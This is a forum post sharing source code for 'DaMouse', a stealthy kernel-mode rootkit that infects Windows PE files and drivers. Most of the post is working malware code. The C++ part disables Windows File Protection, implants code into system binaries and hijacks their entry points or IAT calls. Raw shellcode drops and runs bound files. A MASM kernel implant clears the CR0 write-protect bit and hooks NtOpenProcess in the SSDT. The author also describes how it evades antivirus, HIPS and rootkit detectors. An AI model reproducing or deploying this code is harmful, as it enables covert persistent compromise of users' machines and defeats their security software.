Jump to content
Nytro

Driverless Kernel Mode Rootkit

Recommended Posts

Driverless Kernel Mode Rootkit

Author: XOR [Rohitab]

DaMouse is a driverless Ring0 rootkit concept project illustrating rootkit technology that once installed is very hard to find.

Uses No Processes

Creates No Files

Creates No Threads

Uses No Registry Keys

There are no Drivers to hide

Can be made to run even in safemode

Installation method bypasses many protective tools

It works by combining PE infection techniques with traditional rootit methods. This allows the code to become part of the operating system rather than just an addition of drivers to control operating system behaviour. The design of the kit allows the flexibility to choose how the code is integrated into existing drivers. It is your choice and requires your experimentation to see what will work. Get it right and it can be quite a stable method.

With some work any existing rootkit method can be adopted to work with DaMouse. All that is required is an understanding assembler to port the existing rootkit code into a piece of kernel mode portable code or what I term in this project as an Implant. The Implants can be complex as you like it is entirely up to you. The Implants provided show the structure required to operate in kernel mode with good system stability given that certain requirements are met by you.

There are many problems that could occur because it is very generic and also quite experimental, but experimentation should reveal these in short order. I have not done too much my self yet.

It has excellent stealth characteristics and can defeat pretty much all AntiRootkit detection software available today and Implants are provided to demonstate this. It has also bypassed some Internet Security Suites and HIPS quite easily. The installer itself was not detected by any antivirus tools (VirusTotal), excepting some which required the noisy WFP method and Ring3 downloader shellcode removed first before compiling (AntiVir).

With targeted rootkits now becoming more common methods of assaulting the victim in conjunction with pre-day exploits, it shows that a good HIPS system is needed for protection.

Other Features

This code can bind files to DLLs, the binded file will be dropped and run when the API selected during binding is called. A nice toy.

This code will also peform regular file binding, using PE infection methods.

You can bind as many files you like with the regular entry point method, on execuion they will all be dropped and executed one after the other. It also has the option of binding with EPO technique

Naturally shellcode implants can be placed into DLLs or exe's to permanently alter their logic. eg an implant in kernel32.dll automatically means your code by default is loaded by just about every process

The class is very easy to use an there are plenty of examples to show you how its implemented and used

I was working on a Kernel mode packet sniffer but I don't think I'll finish that one now

The code that does most of the work

char* szAPIname,
char* szLIBname)
{
WFPManager WFPMan;
m_szEPOAPIname = szAPIname;
m_szEPOLIBname = szLIBname;
m_szOriginalFile = szFileName;
bool isProtected = false;

if(WFPMan.SFCCheck(m_szOriginalFile)) {
isProtected = true;
if(isWFPDisableViaInject) {
if(!OpenFileAndMapIt(m_hFile, m_hMapping, m_lpBaseAddress, 0, szFileName))
m_isImageOpen = true; //image is running or locked so make a copy and infect that
} else m_isImageOpen = true; //quiet method must always work with a copy first
} else {
if(!OpenFileAndMapIt(m_hFile, m_hMapping, m_lpBaseAddress, 0, szFileName))
m_isImageOpen = true;
}
if(m_isImageOpen) {
char szTempFileName [] = "fReplace.exe";
GetTempPath(MAX_PATH, m_szTempFile);
CopyFile(szFileName, strcat(m_szTempFile, szTempFileName),false);
if(!OpenFileAndMapIt(m_hFile, m_hMapping, m_lpBaseAddress, 0, m_szTempFile))
return false;
szFileName = m_szTempFile;
}
if(CheckFileAndGetHeaders()) {
if(isProtected) {
if(isWFPDisableViaInject) {
if(!WFPMan.SFCDisableWatcherThreadTemp()) {//enable to use immediate WFP disabling for all files
ClosePEFile();
return false;
}
} else {
if(!WFPMan.SFCDisableForFilePermanent(m_szOriginalFile)) {//quiet WFP disabling
ClosePEFile();
return false;
}
}
return true;
}
return true;
}
return false; //was not a PE file.
}

bool PEFile::OpenFileAndMapIt(HANDLE &hFile, HANDLE &hMapping, LPVOID &lpBaseAddress, DWORD dwMapSize, char* szFileName)
{
if(szFileName != NULL) {
hFile = CreateFile(szFileName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if(hFile == INVALID_HANDLE_VALUE)
return false;
}
hMapping = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, dwMapSize, NULL);
if(!hMapping) {
CloseHandle(hFile);
return false;
}
lpBaseAddress = MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwMapSize);
if(!lpBaseAddress) {
CloseHandle(hMapping);
CloseHandle(hFile);
return false;
}
return true;
}

bool PEFile::CheckFileAndGetHeaders()
{
try
{
m_pDOSheader = (IMAGE_DOS_HEADER*)m_lpBaseAddress;
if(m_pDOSheader->e_magic != IMAGE_DOS_SIGNATURE) {
ClosePEFile();
return false;
}
m_pNTheaders = (IMAGE_NT_HEADERS*)(m_pDOSheader->e_lfanew + (DWORD)m_lpBaseAddress);
if(m_pNTheaders->Signature != IMAGE_NT_SIGNATURE) {
ClosePEFile();
return false;
}
m_pSectionheader = (IMAGE_SECTION_HEADER*)(m_pDOSheader->e_lfanew + sizeof(IMAGE_NT_HEADERS)
+ (DWORD)m_lpBaseAddress);
return true;
}
catch(...)
{
return false;
}
}

bool PEFile::ImplantToLastSection(DWORD dwSize, char* szCodeToImplant, char* szExeStub)
{
try
{
RemapFile(dwSize); //remap the file to implant to include either file or implant code size
m_pSectionheader += (m_pNTheaders->FileHeader.NumberOfSections - 1); //start of last section
m_pSectionheader->Characteristics |= 0xA0000020; //change section characteristics
DWORD dwWriteAddr = (m_pSectionheader->PointerToRawData + m_pSectionheader->SizeOfRawData); //offset to write code in host
DWORD dwAlignSize = ((dwSize - m_nFilePadding) + m_pSectionheader->SizeOfRawData);
dwAlignSize += (m_pNTheaders->OptionalHeader.FileAlignment -
(dwAlignSize % m_pNTheaders->OptionalHeader.FileAlignment)); //work out file alignment
m_pSectionheader->SizeOfRawData = dwAlignSize;
m_pSectionheader->Misc.VirtualSize = dwAlignSize;
m_pNTheaders->OptionalHeader.SizeOfImage = m_pSectionheader->VirtualAddress + dwAlignSize;
char* szWriteMap = (char*)(dwWriteAddr + (DWORD)m_lpBaseAddress); //make a ptr to write point in host file
DWORD i;
if(NULL != szExeStub) {
for (i = 0; i < m_nStubLen; i++) szWriteMap[i] = szExeStub[i];
for (DWORD j = m_nStubLen; j < (dwSize - m_nFilePadding) + m_nStubLen; j++)
szWriteMap[j] = szCodeToImplant[j - m_nStubLen];
}else {
for (i = 0; i < dwSize; i++)
szWriteMap[i] = szCodeToImplant[i];
}
CalculateNewChecksum();
return true;
}
catch(...)
{
return false;
}
}

bool PEFile::ImplantFile(char* szBindFileNameAndPath,
char* szDroppedFileNameAndPath,
bool isHardcodedDropStub,
bool isRelocatable)
{
HANDLE hFileImplant;
HANDLE hMappingImplant;
LPVOID lpBaseAddressImplant;
m_isRelocatable = isRelocatable;
if(!OpenFileAndMapIt(hFileImplant, hMappingImplant, lpBaseAddressImplant, 0, szBindFileNameAndPath)) {
m_isImageOpen = false;
return false;
}
SaveEntryPoints();
//select executing stub type for file implant
m_szExeStub = (isHardcodedDropStub) ? (ExecuteImplantFileHardcoded(GetFileSize(hFileImplant, NULL),
szDroppedFileNameAndPath)) : (ExecuteImplantFileDynamic(GetFileSize(hFileImplant, NULL),
szDroppedFileNameAndPath));
ImplantToLastSection(GetFileSize(hFileImplant, NULL) + (m_nFilePadding = PADDING_SIZE),
(char*) lpBaseAddressImplant,
m_szExeStub);
UnmapViewOfFile(lpBaseAddressImplant);
CloseHandle(hMappingImplant);
CloseHandle(hFileImplant);
return true;
}

void PEFile::CalculateNewChecksum()
{
DWORD dwHeaderSum;
DWORD dwCheckSum;
m_pNTheaders = CheckSumMappedFile(m_lpBaseAddress,
GetFileSize(m_hFile, NULL),
&dwHeaderSum,
&dwCheckSum);
if(dwHeaderSum) //save chksum only for files with existing chksum
m_pNTheaders->OptionalHeader.CheckSum = dwCheckSum;
}

void PEFile::ClosePEFile()
{
UnmapViewOfFile(m_lpBaseAddress);
CloseHandle(m_hMapping);
CloseHandle(m_hFile);
if(m_isImageOpen) //if it was a copy that we infected overwrite the original at reboot now
MoveFileEx(m_szTempFile, m_szOriginalFile, MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_REPLACE_EXISTING);
}

char* PEFile::ExecuteImplantFileDynamic(DWORD dwSize,char* szDroppedFileNameAndPath)
//use when function addresses are not known for target at the time of execution
{
//this code can be found in the file dynastub.asm
char szRawDynStub[] =
"\x60\x9c\xe8\x00\x00\x00\x00\x5d\x81\xed\x0b\x10\x40\x00\x89\xa5\x76\x11\x40\x00"
"\x83\xec\x60\x83\xbd\xd4\x11\x40\x00\x00\x74\x0a\x8b\x85\xd4\x11\x40\x00\xff\x30"
"\xeb\x06\xff\xb5\xd8\x11\x40\x00\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x70\x1c"
"\xad\x8b\x40\x08\x89\x85\x90\x11\x40\x00\xb9\x04\x00\x00\x00\x8d\xb5\xac\x11\x40"
"\x00\x8d\xbd\xc0\x11\x40\x00\xe8\x95\x00\x00\x00\x8d\x85\x94\x11\x40\x00\x50\xff"
"\x95\xcc\x11\x40\x00\xb9\x01\x00\x00\x00\x8d\xb5\xa4\x11\x40\x00\x8d\xbd\xa8\x11"
"\x40\x00\xe8\x72\x00\x00\x00\x33\xc0\x50\x50\x40\x40\x50\x48\x48\x50\x40\x50\x68"
"\x00\x00\x00\xc0\x8d\xb5\xe4\x11\x40\x00\x56\xff\x95\xc4\x11\x40\x00\x89\x85\xa0"
"\x11\x40\x00\x6a\x00\x8d\xb5\xd0\x11\x40\x00\x56\x8b\xb5\xe0\x11\x40\x00\x56\x8b"
"\xb5\xdc\x11\x40\x00\x56\x50\xff\x95\xc8\x11\x40\x00\xff\xb5\xa0\x11\x40\x00\xff"
"\x95\xc0\x11\x40\x00\x6a\x0a\x33\xc0\x50\x50\x8d\x9d\xe4\x11\x40\x00\x53\x50\x50"
"\xff\x95\xa8\x11\x40\x00\x8b\xa5\x76\x11\x40\x00\x9d\x61\xff\xa4\x24\x78\xff\xff"
"\xff\x51\x56\x57\x51\x50\x03\x40\x3c\x50\x8b\x50\x78\x03\x54\x24\x04\x8b\x72\x20"
"\x03\x74\x24\x04\x33\xc0\x8b\xc8\x8b\xf8\x56\x33\xc0\x8b\xf8\x41\x8b\x5c\x24\x08"
"\x03\x1e\x8b\xf3\xe8\x55\x00\x00\x00\x83\x04\x24\x04\x8b\x34\x24\x8b\x5c\x24\x14"
"\x8b\x44\x24\x0c\x3b\x3c\x83\x74\x07\x85\xc0\x74\x2e\x48\xeb\xf4\x8b\xd8\x8b\x42"
"\x24\x03\x44\x24\x08\x51\x0f\xb7\x0c\x48\x2b\x4a\x10\x8b\x42\x1c\x03\x44\x24\x0c"
"\x8b\x04\x88\x59\x03\x44\x24\x08\x8b\x7c\x24\x10\x89\x04\x9f\xff\x4c\x24\x18\x83"
"\x7c\x24\x18\x00\x75\xa1\x83\xc4\x1c\xc3\x00\x00\x00\x00\xac\x84\xc0\x74\x07\xc1"
"\xcf\x0d\x03\xf8\xeb\xf4\x3b\xbd\xa4\x11\x40\x00\x75\x01\x41\xc3\x00\x00\x00\x00"
"\x73\x68\x65\x6c\x6c\x33\x32\x2e\x64\x6c\x6c\x00\x00\x00\x00\x00\x5e\xbb\xe1\x1b"
"\x00\x00\x00\x00\xfb\x97\xfd\x0f\xa5\x17\x00\x7c\x1f\x79\x0a\xe8\x8e\x4e\x0e\xec";

int nStublen = sizeof(szRawDynStub) +
strlen(szDroppedFileNameAndPath) +
VAR_BUFFSIZE + PTR_OFFSET; // add dword ptr to front of code and size of total variables
DWORD dwFileAddr = m_dwImplantEntryPoint + nStublen;
char* szDynStub = new char[nStublen]; //add size of filename and path
m_nStubLen = nStublen;
int nFileNamePos = nStublen - strlen(szDroppedFileNameAndPath);
szDynStub[nStublen - 1] = '';
while (nStublen-- > nFileNamePos) //write in the filename
szDynStub[nStublen - 1] = szDroppedFileNameAndPath[nStublen - nFileNamePos];
DWORD dwExecInfo[4] =
{
{dwSize},
{dwFileAddr},
{m_dwOldEntryPoint},
{m_dwIATaddress}
}, *dwExec = dwExecInfo;
for(int i = 4; i >= 0; i--, dwExec++) {
*(PDWORD)&szDynStub[nStublen - DW_SIZE] = *dwExec; //write in initialized array
nStublen -= DW_SIZE;
}
while(nStublen-- > PTR_OFFSET)
szDynStub[nStublen] = szRawDynStub[nStublen - DW_SIZE]; //write in the code
*(PDWORD)&szDynStub[0] = (m_dwImplantEntryPoint + PTR_OFFSET); //write the dword ptr address to our stub
return szDynStub;
}

char* PEFile::ExecuteImplantFileHardcoded(DWORD dwSize,char* szDroppedFileNameAndPath) //smaller, faster but OS dependant code
{
//could be done with the INJDATA technique but I used some inline asm
//In the end I decided to use masm as it was more flexible than the inline assembler
//so with the dynamic code I just made it into shellcode instead and tacked on anything needing
//to be initialized at run time at the end and front of the shellcode.
HMODULE hShellLib;
HMODULE hLib = LoadLibrary("kernel32");
DWORD dwExecInfo[8] = //initialize an array of function addresses and other data needed by the stub
{
{dwSize},
{(DWORD)GetProcAddress(hLib, "WriteFile")},
{(DWORD)GetProcAddress(hLib, "CreateFileA")},
{(DWORD)GetProcAddress(hLib, "CloseHandle")},
{(DWORD)GetProcAddress((hShellLib = LoadLibrary("shell32.dll")), "ShellExecuteA")},
{0}, //dwFileAddress here
{m_dwOldEntryPoint}, //continue adddress for normal entry point
{m_dwIATaddress} //epo address here
}, *dwExec = dwExecInfo;
FreeLibrary(hLib);
FreeLibrary(hShellLib);

__asm///
{
call GetBP
//dword ptr to the asm code will be here
start:
pushad
pushfd
call getbp2
getbp2:
pop ebp
sub ebp, offset getbp2
mov [ebp + SaveESP], esp
sub esp, 0x60
cmp [ebp + IATcontinueaddr], 0
je NormalExit
mov eax, [ebp + IATcontinueaddr]
push dword ptr[eax]
jmp ShellExe
NormalExit:
push [ebp+jmpcontinueaddr]
ShellExe:
xor eax, eax
push eax
push eax
inc eax
inc eax
push eax
dec eax
dec eax
push eax
inc eax
push eax
push 0xC0000000
lea esi, [ebp + filename]
push esi
call dword ptr[ebp + aCreateFileA]

push 0x0
lea esi, [ebp + bytewbuf]
push esi
mov esi, [ebp + filesize]
push esi
mov esi, [ebp + filestartaddress]
push esi
push eax
call dword ptr[ebp + aWriteFile]

mov ebx, [esp - 0x14]
push ebx
call dword ptr[ebp + aCloseHandle]

push SW_SHOWDEFAULT
xor eax, eax
push eax
push eax
lea ebx, [ebp + filename]
push ebx
push eax
push eax
call dword ptr[ebp + aShellExecuteA]

// RestoreAndExit
mov esp, [ebp + SaveESP]
popfd
popad
jmp dword ptr[esp - 0x88]
SaveESP:
dd
bytewbuf: //these labels are referenced in the code by the compiler
dd //_emit 0x0...etc = DWORD
filesize:
dd
aWriteFile:
dd
aCreateFileA:
dd
aCloseHandle:
dd
aShellExecuteA:
dd
filestartaddress:
dd
jmpcontinueaddr:
dd
IATcontinueaddr:
dd
filename:
GetBP:
pop eax
mov g_dwEIP, eax
mov eax, offset filename
mov ecx, offset start
sub eax, ecx
mov g_dwStubSize, eax
};

g_dwStubSize += PTR_OFFSET; //add dword ptr address to front off code
g_dwEIP -= PTR_OFFSET; //move eip to account for dword ptr
int nStrl = g_dwStubSize + strlen(szDroppedFileNameAndPath) + 1;
dwExec[5] = m_dwImplantEntryPoint + (DWORD)nStrl;
char* pszStub = new char[nStrl];
m_nStubLen = nStrl;
while ((DWORD) nStrl-- > g_dwStubSize)
pszStub[nStrl] = szDroppedFileNameAndPath[nStrl - g_dwStubSize];
dwExec += EXINFO_SIZE;
for(int i = EXINFO_SIZE; i >= 0; i--, dwExec--) {
*(PDWORD)&pszStub[g_dwStubSize - DW_SIZE] = *dwExec;
g_dwStubSize -= DW_SIZE;
}
while(g_dwStubSize-- > PTR_OFFSET)
pszStub[g_dwStubSize] = ((char*)g_dwEIP)[g_dwStubSize];
*(PDWORD)&pszStub[0] = (m_dwImplantEntryPoint + PTR_OFFSET); //write the dword ptr address to our stub
return pszStub;
}

void PEFile::SaveEntryPoints() //for implant to last section only
{
try
{
m_dwImplantEntryPoint = (m_pSectionheader + (m_pNTheaders->FileHeader.NumberOfSections - 1))->VirtualAddress +
(m_pSectionheader + m_pNTheaders->FileHeader.NumberOfSections - 1)->SizeOfRawData +
m_pNTheaders->OptionalHeader.ImageBase;
DWORD dwNewEntryPoint = m_dwImplantEntryPoint - m_pNTheaders->OptionalHeader.ImageBase;
m_dwOldEntryPoint = m_pNTheaders->OptionalHeader.AddressOfEntryPoint +
m_pNTheaders->OptionalHeader.ImageBase;
if(m_szEPOAPIname && m_szEPOLIBname != NULL) {
EPOstart EPO;
m_dwIATaddress = EPO.PatchDwordPtr(m_szEPOAPIname,
m_szEPOLIBname,
m_dwImplantEntryPoint,
m_pDOSheader,
m_pNTheaders,
m_pSectionheader,
m_isRelocatable);
} else {
m_pNTheaders->OptionalHeader.AddressOfEntryPoint = dwNewEntryPoint + PTR_OFFSET;
}
}
catch(...)
{
return;
}
}

bool PEFile::ImplantCode(char* szCodeToImplant, DWORD dwCodeSize, bool isRelocatable)
{
m_nFilePadding = PADDING_SIZE;
m_isRelocatable = isRelocatable;
SaveEntryPoints();
//if implant is Ring0 EPO object returns a function hash not iataddress
DWORD dwSelectedEP = (m_dwIATaddress) ? m_dwIATaddress : m_dwOldEntryPoint;
*(PDWORD)&szCodeToImplant[0] = (m_dwImplantEntryPoint + PTR_OFFSET);
for(int i = 4; i >= 0; --i, --dwCodeSize)
szCodeToImplant[dwCodeSize - 1] = ((char*)&dwSelectedEP)[i];
ImplantToLastSection(dwCodeSize + PADDING_SIZE, szCodeToImplant);
if(m_isRelocatable) {
m_pSectionheader->Characteristics |= IMAGE_SCN_MEM_NOT_PAGED; //don't let implant code get paged out leading to BSOD
m_pSectionheader->Characteristics ^= IMAGE_SCN_MEM_DISCARDABLE; //don't discard our code either
PIMAGE_BASE_RELOCATION pImageReloc =
(PIMAGE_BASE_RELOCATION)(m_pNTheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress +
(DWORD) m_lpBaseAddress);
PDWORD dwRelocEntryAddr = (PDWORD)((DWORD)pImageReloc +
(DWORD)m_pNTheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size);
DWORD dwBaseRelIndex = (m_dwImplantEntryPoint - m_pNTheaders->OptionalHeader.ImageBase) & 0xFFFFF000;
*dwRelocEntryAddr++ = dwBaseRelIndex;
WORD wReloc = (WORD)((m_dwImplantEntryPoint &= 0x0FFF) |= (IMAGE_REL_BASED_HIGHLOW << 0xC)); //make value for base reloc entry
*dwRelocEntryAddr++ = 0xA;
*(WORD*)&dwRelocEntryAddr[0] = wReloc;
m_pNTheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size += 0xA; //add base reloc fixup for our ptr to implant
CalculateNewChecksum();
}
return true;
}

bool PEFile::RemapFile(DWORD dwNewMapSize)
{
UnmapViewOfFile(m_lpBaseAddress);
CloseHandle(m_hMapping);
if (!OpenFileAndMapIt(m_hFile,
m_hMapping,
m_lpBaseAddress,
(GetFileSize(m_hFile, NULL) + dwNewMapSize))) //map file plus code need to make generic code
return false;
if (!CheckFileAndGetHeaders()) //sanity check-make sure everything is correct after remapping
return false;
return true;
}

EPO implementation:

#include "filemanagement.h"

DWORD g_dwHash;

DWORD EPOstart::PatchDwordPtr(char* szApiName,
char* szLibName,
DWORD dwImplantAddress,
PIMAGE_DOS_HEADER pDOSheader,
PIMAGE_NT_HEADERS pNtHeaders,
PIMAGE_SECTION_HEADER pSectionheader,
bool isRelocatable)
{
DWORD dwIATaddress;
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)
(GetRawOffset((DWORD)(pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress),
pSectionheader, pNtHeaders) + (DWORD)pDOSheader);
while (pImportDescriptor->Name) {
if (!stricmp (szLibName, (char*)(GetRawOffset((DWORD)pImportDescriptor->Name, pSectionheader, pNtHeaders)
+ (DWORD)pDOSheader))) //import lib name
break;
pImportDescriptor++;
}
if (!pImportDescriptor->Name) return 0;
PIMAGE_THUNK_DATA pThunkData = (PIMAGE_THUNK_DATA)
(GetRawOffset((DWORD)pImportDescriptor->OriginalFirstThunk, pSectionheader, pNtHeaders)
+ (DWORD)pDOSheader);
DWORD dwFuncAdd = (DWORD)pImportDescriptor->FirstThunk;
while (pThunkData->u1.Function) {
char* szName = (char*)(GetRawOffset((DWORD)((PBYTE)pThunkData->u1.AddressOfData->Name),
pSectionheader, pNtHeaders)
+ (DWORD)pDOSheader);
if (!strcmp (szApiName, szName)) {//function name
if(PDWORD dwPtrAddr = FindDwordPtr(dwIATaddress = (DWORD)pNtHeaders->OptionalHeader.ImageBase + dwFuncAdd,
(PDWORD)((DWORD)pSectionheader->PointerToRawData + (DWORD)pDOSheader),
(DWORD)pNtHeaders->OptionalHeader.SizeOfImage - pSectionheader->PointerToRawData)) {
DWORD dwJmpVA = m_dwPtrOffset + (DWORD)pSectionheader->VirtualAddress
+ (DWORD)pNtHeaders->OptionalHeader.ImageBase;
if (isRelocatable) {//ring0 will return hash of function name for implant to resolve
//ring3 will return IATaddress
DWORD dwHash = MakeApiNameHash(szApiName);
*(PDWORD)&((char*)dwPtrAddr)[2] = dwImplantAddress; //patch the ptr address to our code
return dwHash;
}
*(PDWORD)&((char*)dwPtrAddr)[2] = dwImplantAddress;
return dwIATaddress;
}
return 0;
}
pThunkData++;
dwFuncAdd += 4;
}
return 0;
}

DWORD EPOstart::GetRawOffset(DWORD dwImpDescRVA, PIMAGE_SECTION_HEADER pSectionheader, PIMAGE_NT_HEADERS pNtHeaders)
{
for(int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
if((pSectionheader->VirtualAddress) && (dwImpDescRVA <= pSectionheader->VirtualAddress
+ pSectionheader->SizeOfRawData))
return(dwImpDescRVA + pSectionheader->PointerToRawData - pSectionheader->VirtualAddress);
pSectionheader++;
}
return 0;
}

DWORD EPOstart::MakeApiNameHash(char* szApiName)
{
__asm{///
mov esi, szApiName
xor eax, eax
mov edi, eax
GenerateHash:
lodsb
test al, al
jz Hashed
ror edi, 0xd
add edi, eax
jmp GenerateHash
Hashed:
mov g_dwHash, edi
};
return g_dwHash;
}
//look for FF25 or FF15 byte sequences and if found check if an address
//that may follow points to the IAT entry of our API
PDWORD EPOstart::FindDwordPtr(DWORD dwIATentry, PDWORD dwStart, DWORD dwSize)
{
for(DWORD i = 0; i < dwSize; i++) {
if(0x25FF == *(PWORD)&((char*)dwStart)[i]) {
if(dwIATentry == *(PDWORD)&((char*)dwStart)[i + 2]) {
m_dwPtrOffset = i;
return (PDWORD)(i + (DWORD)dwStart); //return mapped address of dword ptr jmp
}
}else if(0x15FF == *(PWORD)&((char*)dwStart)[i]) {
if(dwIATentry == *(PDWORD)&((char*)dwStart)[i + 2]) {
m_dwPtrOffset = i;
return (PDWORD)(i + (DWORD)dwStart); //return mapped address of dword ptr call
}
}
}
return 0; //no jmp/call dword ptr address matched
}

Example of Ring0 code implant:

.486
.model flat, stdcall
option casemap :none

include \masm32\include\windows.inc
include resolver.inc
;RootKit Detector Evasion Method 2. ::Blame it on the security application::

;Installs a SSDT hook from an infected security application driver like an antivirus, firewall or
;HIPs. What this does is it obscures our tap into the kernel by making people think that it
;belongs to their security program. This illustrates one major flaw in rootkit detectors:: Which
;is it is relatively easy to find hooks and patches, but to identify what they do and if they are
;legit or bad is beyond most people to tell. Even a pro will have to examine the code if they
;even suspect anything. I mean no one is going to bat an eyelid if they find an SSDT hook that
;belongs to there firewall or something. So this could be hidden for a long time.

;The responsibilty for determining what driver to infect will be with the loader code
;as this is just a concept code I will only be hardcoding in the driver name I want to infect

;***This code should be Service Pack Independant

;With a SSDT hook we can filter before the call is made to the kernel function or we can call
;the kernel function from our hook and when it returns we can filter what it returns, then
;return to the original caller the filtered return data

;NOTES::>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;1.The first empty DWORD after Start: will be filled with the hash of the API name to eventually
; called Our implant will then resolve the API address from the hash and call it when it exits.
; It is the job of the installer (DaMouse) to generate the hash and a.) Place the function hash
; at the front of this code (after it has been converted to shellcode). b.) Implant this code in
; shellcode format into the driver at the point where the hashed function would have been called
;2.There is a public member of the EPOstart class that allows you to get API function name hashes.
; These hashes can be placed where shown near the end of the file and increment the function
; resolution counter by the number of hashes to be resolved
;3.Can be assembled with just Masm no need for the kmdkit
;4.You will need to experiment with which APIs to use for the implant call dword ptr patch
; some APIs will be called many times, others not at all. Usually pick one that is called once.
; Unless you wish to use the implant to analyze a particular API call within the driver
;5.It is very experimental and just a prototype really so expect lots of crashes etc
; and strange behaviour, please test in VMs.
;6.***Do not Implant in functions that run at higher IRQL than PASSIVE_LEVEL***
;>>>>>>>>>>>>>>>>>>>>>>>>>>>> USE ONLY APIs exported by ntoskrnl<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<


.code

Start:

dd 0cccccccch;<--------------------------Start marker DO NOT INCLUDE THIS DWORD IN SHELLCODE!!
dd 0h;<----------------------------------------ptr to this implanted code will be patched here
nop

SaveContextAndGetBP

GetNTOSKRNLImageBase:

GetNtoskrnlBase

cmp [ebp+ResolutionNeeded], 0
jne ResolvingDone

ResolveFunction:

mov ecx, 1h;<------------------resolve function address from API name hash of patched API call
lea esi, [ebp+PatchedFunctionHash]
lea edi, [ebp+PatchedFunctionAddr]
call StartAPIResolution

mov ecx, FunctionResolutionCounter;<---------resolve addrs of APIs we are using in our implant
lea esi, [ebp+NTOSKRNLHashes]
lea edi, [ebp+NTOSKRNLFunctionAddresses]
call StartAPIResolution

ResolvingDone:

mov [ebp+ResolutionNeeded], 1


DaCode:;<------------------------everything is setup now we can run our rootkit functionality code

mov ecx, [ebp+aZwOpenProcess];<------------------Get the SystemServiceNumber from the function
mov ecx, [ecx+1];<--so would be mov eax, 7ah or B87A000000h so we need function offset +1 byte

mov eax, [ebp+aKeServiceDescriptorTable];<--------------------------get the SSDT entry we want
mov ebx, [eax]
lea eax, dword ptr [ebx+ecx*4]
mov ebx, [eax]
mov [ebp+OldNtOpenProcess], ebx
lea ebx, [ebp+NewNtOpenProcess];<-----------prepare the address of the hook within our implant

push eax;<-----------------------------------------------------------------Temp disable WP bit
mov eax,cr0
and eax,not 000010000h
mov cr0,eax
pop eax

mov [eax], ebx;<-----------------------------------------------------Ok now write it into SSDT

push eax;<------------------------------------------------------------------Temp enable WP bit
mov eax,cr0
or eax,000010000h
mov cr0,eax
pop eax

jmp EndHook


;This is the code that the SSDT entry now points to.
;this filter checks the name of the process to be opened
;if it is our chosen process access is denied
;this results in our process being unable to be terminated by normal means, no attaching debuggers,
;dll/code injection from user mode will not work on our protected process etc

;NTSYSAPI
;NTSTATUS
;NTAPI
;NtOpenProcess(
;OUT PHANDLE ProcessHandle,
;IN ACCESS_MASK DesiredAccess,
;IN POBJECT_ATTRIBUTES ObjectAttributes,
;IN PCLIENT_ID ClientId
;

NewNtOpenProcess proc ProcessHandle:DWORD, DesiredAccess:DWORD, ObjectAttributes:DWORD, ClientId:DWORD

pushad;<--------------------------------------------------------------------------save context
pushfd

call gECX

gECX:

pop ecx
sub ecx, offset gECX

FilterFunction:

mov ebx, ClientId
mov ebx, [ebx].CLIENT_ID.UniqueProcessId
or ebx, ebx
jz ExitHook;<-------------------------------------------------------------PID to Open was Zero
pushad
push ecx

lea eax, [ecx+EPROCESS]
push eax
push ebx
call [ecx+aPsLookupProcessByProcessId]
pop ecx
or eax, eax
jnz ExitHook2;<-------------------------------------------------------------PID LookUp failed

mov eax, [ecx+EPROCESS]
push eax
call [ecx+aPsGetProcessImageFileName];<-this API will give us the offset in
;_EPROCESS block of the filename

mov esi, eax

pushad
mov eax, [ecx+EPROCESS]
push eax
call [ecx+aObDereferenceObject]
popad

mov dword ptr[esp+4], esi
lea ebx, [ecx+ProcessFilter]
push ebx
push esi
call [ecx+astricmp]

jz Block
add esp, 8h
popad

push ecx

push esi
push ebx
push esp
call [ecx+aPsGetCurrentProcessId]

push eax
lea eax, [ecx+DbgPrintFormat]
push eax
call [ecx+aDbgPrint]

add esp, 14h
pop ecx
jmp ExitHook

ExitHook2:

popad

ExitHook:

mov ebx, dword ptr[ecx+OldNtOpenProcess]
popfd
mov dword ptr[esp-60h], ebx
popad
pop ebp
jmp dword ptr[esp-84h]

Block:

add esp, 28h
popfd
popad
mov eax, STATUS_ACCESS_DENIED
ret 10h

DbgPrintFormat db " Caller PID: %u Stack Ptr: 0x%x PID To Open: %u Process Name To Open: %s ",0
ProcessFilter db "iexplore.exe",0
EPROCESS dd 0

NewNtOpenProcess endp

EndHook:

lea esi, [ebp+Ring0Infection]
push esi
call [ebp+aDbgPrint]

RestoreContextAndExit:

RestoreContextExit

StartAPIResolution:

ResolveFuncs

CodeEnd:

CLIENT_ID STRUCT
UniqueProcessId DWORD ?
UniqueThreadId DWORD ?
CLIENT_ID ENDS

OldNtOpenProcess dd 0
STATUS_ACCESS_DENIED equ 0c0000022h


FunctionResolutionCounter equ 9h;<---Increment by number of extra function hashes added

aNTOSKRNL dd 0

NTOSKRNLHashes:;<---------------------------------------------------------Add your own hashes here

dd 68FD2368h;<----------------------------------------------------------------------DbgPrint
dd 0e60ee007h;<--------------------------------------------------------PsGetCurrentProcessId
dd 001d92fdbh;<-----------------------------------------------------KeServiceDescriptorTable
dd 0f0d09d60h;<----------------------------------------------------------------ZwOpenProcess
dd 8f8f1b7eh;<-----------------------------------------------------------PsGetCurrentProcess
dd 8be7eeech;<-----------------------------------------------------PsGetProcessImageFileName
dd 0a3a0b82ah;<---------------------------------------------------PsLookupProcessByProcessId
dd 2e053fd6h;<-----------------------------------------------------------ObDereferenceObject
dd 0d73b454ah;<---------------------------------------------------------------------_stricmp
;so here

NTOSKRNLFunctionAddresses:;<------------------------Then add a DWORD here for the resolved address

aDbgPrint dd 0
